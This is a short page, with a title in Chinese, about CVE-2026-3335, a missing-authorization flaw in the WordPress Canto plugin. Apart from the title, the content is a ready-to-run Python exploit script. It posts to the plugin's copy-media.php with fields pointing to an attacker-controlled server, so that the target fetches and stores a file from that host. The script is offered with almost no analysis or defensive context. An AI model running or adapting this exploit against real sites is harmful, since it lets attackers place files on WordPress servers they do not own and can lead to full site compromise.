CVE-2026-3335 WordPress Canto插件权限缺失漏洞

import requests def exploit(target_url, attacker_domain): """ Exploit CVE-2026-3335 by sending a malicious POST request to copy-media.php. """ # The vulnerable endpoint endpoint = f"{target_url}/wp-content/plugins/canto/includes/lib/copy-media.php" # Malicious POST parameters to control the fetch-and-upload chain payload = { "fbc_flight_domain": attacker_domain, "fbc_app_api": f"{attacker_domain}/api", "fbc_app_token": "arbitrary_attacker_controlled_token" } try: response = requests.post(endpoint, data=payload, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check the target's uploads directory for the file.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": target = "http://example-wordpress-site.com" evil_server = "http://attacker-controlled-server.com" exploit(target, evil_server)